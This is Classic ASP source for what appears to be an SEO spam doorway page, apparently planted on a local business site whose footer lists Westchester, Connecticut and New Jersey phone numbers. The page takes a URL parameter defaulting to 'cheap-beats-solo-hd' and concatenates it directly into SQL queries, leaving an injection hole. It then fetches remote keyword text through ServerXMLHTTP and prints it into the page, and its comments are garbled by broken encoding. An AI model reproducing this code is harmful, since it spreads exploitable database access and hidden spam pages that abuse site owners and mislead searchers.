<% dim file_id,page,sql,txturl,keywords,mainkeyword,title,des,mainkeyurl 'response.write "start connect" Set conn = Server.CreateObject("ADODB.Connection") conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("DATA.mdb") 'response.write "connect ok" if Request.querystring("mainkeyurl")="" then mainkeyurl = "cheap-beats-solo-hd" else mainkeyurl = Request.querystring("mainkeyurl") end if page=1 sql = "select * from sandpiperdesign where mainkeyurl = '" & mainkeyurl & "'" set rs = conn.execute(sql) file_id = rs("id") txturl= rs("txturl") keywords= rs("keywords") mainkeyword= rs("mainkeyword") title= rs("title") des= rs("des") %> <% response.write title%>
image

<% response.write "

" & title & "


"%> <% '************************************************** '??:??txt???? '************************************************** Function Openfile(filename) Dim fileurl,mfile,content,fso Set Fso = CreateObject("Scripting.Filesystemobject") '????????? Set mfile = Fso.Opentextfile(server.mappath(filename),1) '????????? If Not mfile.Atendofstream Then content = mfile.readall() 'duququanbuchulai End If mfile.Close openfile = content End Function '************************************************** '??:????txt???? '************************************************** Function OpenUrlfile(filename) dim RStr RStr = "" set ajax = Server.CreateObject("Msxml2.ServerXMLHTTP") ajax.open "GET", txturl, False'url?????????? ??????????????false ajax.setRequestHeader "Content-type", "application/x-www-form-urlencoded" ajax.Send report_str if (ajax.status = 200 ) then RStr = ajax.responseText end If set ajax = Nothing OpenUrlfile = RStr End Function dim counter,length,page_count counter=OpenUrlfile(txturl) length=len(counter) page_count=int(length/50000) if page_count=0 then page_count=1 end if function msubstr(str,start,len) strlength=start+len tmpstr="" for i=0 to strlength if asc(mid(str,i,1)) = val("&H0a") then tmpstr = tmpstr & "
" end if if asc(mid(str,i,1)) > val("&Ha0") then tmpstr = tmpstr & mid(str,i,2) i=i+1 else tmpstr = tmpstr & mid(str,i,1) end if next msubstr = tmpstr end function '--------------------------???????-------------------------- 'c=msubstr(counter,0,(page-1)*50000) 'c1=msubstr(counter,0,page*50000) response.write counter'mid(c1,len(c),len(c1)-len(c)) %>

<% if file_id = 1 then %> <% else %> <% end if sjsql = "SELECT * FROM sandpiperdesign where id < " & file_id & " and id > " & (file_id - 10) set sjresult = conn.execute(sjsql) do while not sjresult.eof response.write "" & sjresult("mainkeyword") & "
" sjresult.movenext() loop %>
Lower Westchester & NYC
800-427-1900
Upper Westchester
914-741-1510
Fairfield CT
203-348-4111
Bergen & Passaic NJ
973-636-6711